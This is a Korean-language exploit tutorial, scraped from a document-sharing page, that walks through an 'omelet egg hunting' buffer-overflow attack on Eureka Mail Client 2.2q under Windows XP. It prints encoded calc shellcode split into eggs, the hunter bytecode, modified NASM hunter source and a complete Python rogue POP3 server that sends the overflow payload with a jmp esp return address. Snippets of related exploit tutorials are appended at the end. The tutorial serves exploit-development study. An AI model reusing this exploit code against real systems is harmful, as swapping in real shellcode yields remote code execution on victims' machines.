Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Size: px
Start display at page:

Download "Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg"

Transcription

1 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost

2 Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger 익스플로잇실습에앞서오믈렛에그헌팅의전반적인내용에대하여간단 하게설명하고자한다. 오믈렛에그헌팅은공격자가사용할수있는메모리영역이스택의 크기에비하여너무작고, 공격자가제어할수있는영역은작은공간으로이루어진메모리조각일때사용하는기법이다. 이런상황에서는쉘코드를오믈렛에그헌팅이라는쉘코드단편화기술을이용하여실행시킬수있다. 좀더자세히설명하면공격자는실제쉘코드를여러개의작은조각으로나눈뒤, 조각들을메모리로옮기고모든에그를검색하는헌터코드를실행시키면서쉘코드를재조합하여실행시킨다. 따라서기본개념은일반에그헌터와동일하지만다음과같은차이점이존재한다. - 최종쉘코드가여러조각으로나뉘어짐 ( 여러개의에그 ) - 최종쉘코드가실행되기전에재조합됨 ( 발견즉시실행되지않음 ) 실제쉘코드를여러조각으로나누어야하는것처럼에그또한마찬가지로나누어야하는데각에그는다음의내용을포함하는에더가있어야한다. - 에그의길이 - 인덱스숫자 ( 에그의총개수를알기위함 ) - 3 바이트대커 ( 에그를찾기위함 ) 오믈렛쉘코드는실행되면서메모리를검색하여모든에그를찾아내고스택의 bottom 부분에재조합된오리지널쉘코드를복사한뒤점프하여실행한다. Skylined에의해작성된오믈렛코드는메모리를읽을때발생하는접근위반 Access_Violation 을처리하기위해사용자 SEH 핸들러에삽입된다. 다행히쉘코드를작은에그로나누고오믈렛코드를생상하는프로세스를자동화하는스크립트 1) 를제공하기때문에해당스크립트를이용하여비교적쉬운공격이가능하다. 1)

3 다운을받고압축을푼뒤 nasm 을이용하여바이너리파일을컴파일한다. C:\omelet > "c:\program Files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_seh_omelet.asm -w+error 그다음오믈렛에그헌터코드를실행시켜야하는데, 우선쉘코드를포함하고있는바이너리파일을생성해야한다. # calc shellcode calc = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x 49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\ x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41 \x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70\x43\x30\x65\x30\x6 b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x 32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47\x 51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\ x4c\x66\x62\x36\x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42 \x4a\x50\x72\x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x4 6\x61\x4a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50\x54\x34\x62\x6a\x67\x 71\x4e\x30\x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\ x6a\x73\x5a\x43\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36 \x51\x39\x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67 \x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x4 6\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43\x65\x 36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x63\x31\x48\x53\x6e\x6b\ x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53 \x6b\x43\x51\x61\x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f\x33\x6 a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x76\x61\x6c\x4d\x6e\x65\x 4f\x49\x37\x70\x67\x70\x63\x30\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x 37\x39\x6f\x38\x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x 4d\x45\x6d\x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\ x50\x49\x6b\x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f \x30\x6a\x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x4 4\x6e\x70\x65\x32\x58\x32\x45\x65\x50\x41\x41" f = open("shellcode.bin", "wb") f.write(calc) f.close() 위파이썬스크립트를실행하면계산기를실행하는총 462 바이트의쉘코드가 shellcode.bin 바이너리파일에삽입된다.

4 이제쉘코드를에그로전환해야한다. 공격자가확보한여러개의메모리공간이각각최대 130 바이트라고가정한다. 그러면 462 바이트코드를최소 4개로나누어야한다. 참고로각에그의최대허용치는 127 바이트로설정한상태이다. 또한마커 (6 바이트 ) 필요한데, 마커는 0xBADA55 를사용한다. 명령어을실행하면결과파일로 calceggs.txt 파일이생성되며다음과같은내용을포함한다. - 오믈렛에그헌터코드 - 4 개로나누어진각에크의코드 각에그를살펴보면다음과같은구조로되어있는것을볼수있다. - 첫 5바이트는사이즈를의미함 ( 0x7A = 122 ) - 인덱스 ( 0xFF, 0xFE, 0xFD, 0xFC ) - 마커 ( 0x55DABA -> 0xBADA55 ) * 122( 나뉜에그코드길이 ) + 5( 헤더길이 ) = 127( 각에그최대길이 ) 바이트 - 마커다음의코드는오리지널쉘코드의일부 - 마지막에그에서남은공간은 0x40 으로채워짐 ( 일종의패딩 )

5 calceggs.txt 파일에있는쉘코드를 Eureka 클라이언트를공격하는파이썬스크 립트코드를다음과같이만들수있다. import sys,socket,struct omelet_code = "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\xfe\xad\x35 \xff\x55\xda\xba\x83\xf8\x04\x77\x0c\x59\xf7\xe9\x64\x03\x42\x08\x97\xf3\ xa4\x89\xf7\x31\xc0\x64\x8b\x08\x89\xcc\x59\x83\xf9\xff\x75\xf8\x5a\xe8\x CA\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\x DE\x31\xC0\x64\xFF\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49 \x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x5 8\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x 41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x49\x6C\x78\x68\x4D\x59\x67\x70\x77 \x70\x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x4 2\x46\x50\x6E\x6B\x56\x32\x36\x6C\x4E\x6B\x53\x62\x66\x74\x6C\x4B\x33\x42\ x36\x48\x34\x4f\x6f\x47\x51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36 \x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\ x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x46\x61\x4a\x7 0\x6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\ x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5 A\x43\x55\x6C\x43\x79\x6C\x4B\x37\x44\x4C\x4B\x37\x71\x69\x46\x36\x51\x39\ x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67"; egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b \x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x 74\x35\x51\x59\x43\x65\x36\x6C\x4B\x36\x6C\x52\x6B\x6E\x6B\x42\x78\x47\x6C \x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x 34\x64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B \x50\x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x 7A\x76\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38 \x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\ x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x 6B\x6B\x50\x64\x35\x67\x75\x6F\x4B\x72\x67\x57\x63\x71\x62\x62\x4F\x30\x6A \x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x7 0\x65\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x 40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";

6 ip = " " pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dl nops = "\x90" * 500 ex = junk + ret + omelet_code + nops + egg0 + nops + egg1 + nops + egg2 + nops + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host" while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 스크립트를실행한뒤페이로드를실행시킨다.

7 접근위반 Access Violation 오류가발생했는데, 자세히보면오믈렛코드의첫번째 명령어가 0x 를 EDI 레지스터삽입하는것을볼수있다. * 페이로드에서오믈렛쉘코드의처음 2 바이트 = 0x31 0xFF = XOR EDI, EDI 해당주소에있는내용을읽으려고했기때문에접근위반이발생한것인데, 코드가접근위반을처리하기위해 SEH 인젝션을이용헀음에도불구하고예외가 발생하여공격이실패한것이다. 리턴주소로사용한 0x77CF10B1(jmp esp) 주소에 bp 를설치한뒤다시페이로드를 실행한다. ESP 레지스터로분기할때어떤레지스터도가져다쓰지않는것을볼수있다. 여기서문제가발생하는것이다.

8 다시메모리에서에그위치를찾는것부터시작해야한다. 그리고위레지스터 중하나를이용하여 EDI 레지스터에다른시작주소를삽입해야한다. 따라서 에그가위치한곳을알아내서오믈렛코드를제대로작동시켜야한다. 우선 4개로나뉜에그코드를바이너리파일로써야한다. 이전에사용했던파이썬스크립트중간쯤다음과같은코드를추가한다. f0 = open("c:\\egg0.bin", "wb") f0.write(egg0) f0.close() f1 = open("c:\\egg1.bin", "wb") f1.write(egg1) f1.close() f2 = open("c:\\egg2.bin", "wb") f2.write(egg2) f2.close() f3 = open("c:\\egg3.bin", "wb") f3.write(egg3) f3.close() 그리고이전에설치한 bp에서현재멈춘상태이기때문에 mona 플러그인을이용하여다음과같은명령어를실행한다.!mona compare f c:\egg0.bin

9 !mona compare f c:\egg1.bin!mona compare f c:\egg2.bin

10 !mona compare f c:\egg3.bin 각에그의정보를정리하면다음과같다. 에그인덱스에그주소 영역변조여부 egg0 0x0012d9e9 스택 변조되지않음 0x00473cb8 어플리케이션 변조되지않음 0x004749a1 어플리케이션 변조되지않음 0x b 어플리케이션 변조되지않음 egg1 0x0012dc5c 스택 변조되지않음 0x00473f2b 어플리케이션 변조되지않음 0x00474c14 어플리케이션 변조되지않음 0x004757ce 어플리케이션 변조되지않음 egg2 0x0012decf 스택 변조되지않음 0x e 어플리케이션 변조되지않음 0x00474e87 어플리케이션 변조되지않음 0x00475a41 어플리케이션 변조되지않음 egg3 0x 어플리케이션 변조되지않음 0x 어플리케이션 변조되지않음 재밌는점은어플리케이션영역을기준으로 egg3 egg0 egg1 egg2 순서로 적재되어있다는점이다. 레지스터중에어플리케이션주소를기준으로제일앞에있는 egg3 이전에 위치한레지스터를선택해야하는데, EDI 레지스터가적당한값을가지고있다.

11 따라서 EDI 값을조정하여공격자가만든오믈렛헌터를가리키에만들어야 한다는것을의미한다. 페이로드에서제일앞에있는 2 개의바이트를 NOP 으로 변경한다. 변경전 : "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 변경후 : "\x90\x90\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 수정된페이로드를기반으로하여다시실행한다. 이때 bp 는 jmp esp 에설치 해야한다. 이뮤니티디버거가 jmp esp 에서멈춘뒤 F7 을통해트레시잉을하면위사진처럼 변경된명령어를볼수있다. 참고로오믈렛코드는어셈블리명령어 REPNE SCAS BYTE PTR ES:[EDI] 를이용하여에그가발견될때까지계속실행된다. 어플리케이션메모리영역을기준으로제일앞에있는 egg3 의첫번째복제된 코드는 0x 주소에존재한다. 트레이싱을하다보면위사진과같은코드영역을볼수있는데, 영역에서 0012CD77 REPNE SCAS BYTE PTR ES:[EDI] 반복명령어를통해태그를검색한뒤, 태그가검색되면스택위치를계산하고태그다음에위치한쉘코드를 0012CD8F REP MOVS BYTE PTR ES:[EDI], BYTE PTR DS:[ESI] 명령을통해 EDI 레지스터에서가리키는주소 ( E) 에복사한다.

12 현재 ESI 레지스터가 D 를가리키고있고해당주소는 egg3의시작주소이다. 따라서이전에설명한것처럼헤더 5 바이트를건너뛰고다음주소 (0x ) 에서시작하는쉘코드를복사한다. egg3이복사가완료되면이전에말했듯이적재되어있는순서 ( 3->0->1->2) 로복사된다. 복사작업은모든에그를찾아위사진처럼스택에복사할때까지계속되는데, 문제는모든에그를복사하여도오믈렛코드는검색을중단하지않고계속검색하기때문에다음사진에서 EDI 레지스터주소에접근하면서접근위반오류가발생한다.

13 뭐가문제인지알아보기위해우선메모리에위치한쉘코드가제대로복사된것인지먼저검증을할것이다. 이작업은이전에오믈렛코드를만들때사용한 shellcode.bin 바이너리를이용할수있다. 이뮤니티디버거에서!mona compare f c:\shellcode.bin 명령어를실행하여변조여부를확인할수있다. 명령어결과를보니계산기를띄우는쉘코드가총 5 곳에복사되었는데그중 유일하게 0x 주소의쉘코드만변조되지않은것을볼수있다. 그럼이제오믈렛코드를수정해야한다. 일단메모리에변조되지않은쉘코드가존재하기때문에오믈렛코드를수정하여에그를찾은검색을중단시켜접근위반오류를해결하면된다. 이를위해서레지스터하나를이용하여에그가검색작업을수행해야하는횟수를기록하고, 해당레지스터가에그복사가완료된것을알아내면쉘코드로점프하도록만들면된다. 즉, 오믈렛코드의시작을발견하는변수와에그개수를확인하는데사용할 카운터변수값을이용해야한다. * 0 0xFFFFFFFF 에그개수 + 1 == 에그가 4 개라면 => 0xFFFFFFFC 일단이전에디버거에서오믈렛코드를조사했을때 EBX 레지스터가사용되지않고있음을알았기에해당레지스터를이용할것이다. 변경하고자하는오믈렛코드는다음의내용이추가된다. - 에그가발견될때마다카운터변수값을하나씩증가함 - 카운터변수값이 0xFFFFFFFF 이되면모든에그가발견되었음을의미 - 모든에그가발견되면검색작업을중단하고쉘코드로점프 이런내용을기반으로쉘코드작성에사용된 nasm 바이너리를다음과같이 변경한다. ( 변경된곳은빨간색글씨로표시함 )

14 BITS 32 ; egg: ; LL II M1 M2 M3 DD DD DD... (LL * DD) ; LL == Size of eggs (same for all eggs) ; II == Index of egg (different for each egg) ; M1,M2,M3 == Marker byte (same for all eggs) ; DD == Data in egg (different for each egg) marker equ 0x egg_size equ 0x4 max_index equ 0x2 start: mov ebx,0xffffffff-egg_size+1 ; EBX = counter value jmp SHORT reset_stack create_seh_handler: PUSH ECX ; SEH_frames[0].nextframe == 0xFFFFFFFF MOV [FS:EAX], ESP ; SEH_chain -> SEH_frames[0] CLD ; SCAN memory upwards from 0 scan_loop: MOV AL, egg_size ; EAX = egg_size egg_size_location equ $-1 - $$ REPNE SCASB ; Find the first byte PUSH EAX ; Save egg_size MOV ESI, EDI LODSD ; EAX = II M2 M3 M4 XOR EAX, (marker << 8) + 0xFF ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index marker_bytes_location equ $-3 - $$ CMP EAX, BYTE max_index ; Check if the value of EDX is < max_index max_index_location equ $-1 - $$ JA reset_stack ; No -> This was not a marker, continue scanning POP ECX ; ECX = egg_size IMUL ECX ; EAX = egg_size * egg_index == egg_offset ; EDX = 0 because ECX * EAX is always less than 0x1,000,000 ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode. XCHG EAX, EDI

15 copy_loop: REP MOVSB ; copy egg to basket CM EBX,0xFFFFFFFF ; if all egg is found JE done ; then jmp to shellcode INC EBX ; or keep finding egg MOV EDI, ESI ; EDI = end of egg reset_stack: ; Reset the stack to prevent problems cause by recursive SEH handlers and set ; ourselves up to handle and AVs we may cause by scanning memory: XOR EAX, EAX ; EAX = 0 MOV ECX, [FS:EAX] ; EBX = SEH_chain => SEH_frames[X] find_last_seh_loop: MOV ESP, ECX ; ESP = SEH_frames[X] POP ECX ; EBX = SEH_frames[X].next_frame CMP ECX, 0xFFFFFFFF ; SEH_frames[X].next_frame == none? JNE find_last_seh_loop ; No "X -= 1", check next frame POP EDX ; EDX = SEH_frames[0].handler CALL create_seh_handler ; SEH_frames[0].handler == SEH_handler SEH_handler: POPA ; ESI = [ESP + 4] -> struct exception_info LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address POP EAX ; EAX = exception address 0x???????? OR AX, 0xFFF ; EAX = 0x?????FFF INC EAX ; EAX = 0x?????FFF + 1 -> next page JS done ; EAX > 0x7FFFFFFF ===> done XCHG EAX, EDI ; EDI => next page JMP reset_stack done: XOR EAX, EAX ; EAX = 0 CALL [BYTE FS:EAX + 8] ; EDI += Bottom of stack == position of egg in shellcode. db db db marker_bytes_location max_index_location egg_size_location 위와같이수정된어셈코드를다시컴파일하여수정된에그코드를생성한다.

16 새로생성된 calceggs.txt 내용을기반으로공격에사용하는파이썬스크립트 파일을다음과같이변경한다. import sys,socket,struct ip = " " pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dll omelet_code = "\xbb\xfc\xff\xff\xff\xeb\x29\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\ xfe\xad\x35\xff\x55\xda\xba\x83\xf8\x04\x77\x12\x59\xf7\xe9\x64\x03\x42\x0 8\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x 59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D \xff\x0f\x40\x78\x03\x97\xeb\xde\x31\xc0\x64\xff\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\ x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\ x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\ x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70 \x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46 \x50\x6e\x6b\x56\x32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x4 8\x34\x4F\x6F\x47\x51\x5A\x75\x76\x75\x61\x39\x6F\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36\ x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\x7 2\x33\x67\x6C\x4B\x76\x32\x76\x70\x6C\x4B\x53\x72\x35\x6C\x46\x61\x4A\x70\x 6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\x30\x 50\x6C\x4B\x52\x68\x35\x48\x6E\x6B\x70\x58\x51\x30\x43\x31\x6A\x73\x5A\x43\ x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36\x51\x39\x6f\x46 \x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67";

17 egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\ x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74 \x35\x51\x59\x43\x65\x36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x6 3\x31\x48\x53\x6E\x6B\x63\x34\x4E\x6B\x56\x61\x7A\x70\x6C\x49\x73\x74\x34\x 64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B\x50\ x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x7 6\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38\ x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\x6 D\x6F\x6D\x39\x6F\x4B\x65\x55\x6C\x74\x46\x63\x4C\x55\x5A\x6D\x50\x49\x6B\ x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f\x30\x6a\x57 \x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x70\x6 5\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x4 0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40"; nops = "\x90" * 1000 garbage = "This is a bunch of garbage" * 10 ex = junk + ret + omelet_code + nops + egg0 + garbage + egg1 + garbage + egg2 + garbage + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host"

18 while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 위스크립트를이용하면다음과같이공격에성공한다.

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - a9.ppt [호환 모드]

Microsoft PowerPoint - a9.ppt [호환 모드] 9.1 이장의내용 9 장. 스트링과배열 스트링프리미티브명령어 2 차원배열 정수배열검색및정렬 컴퓨터정보통신 어셈블리언어 2 9.2 스트링프리미티브명령어 String Primitive Instructions 의동작 String Primitive Instructions Instructions 설명 동작 MOVS(B,W,D) Move string data M[EDI]

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

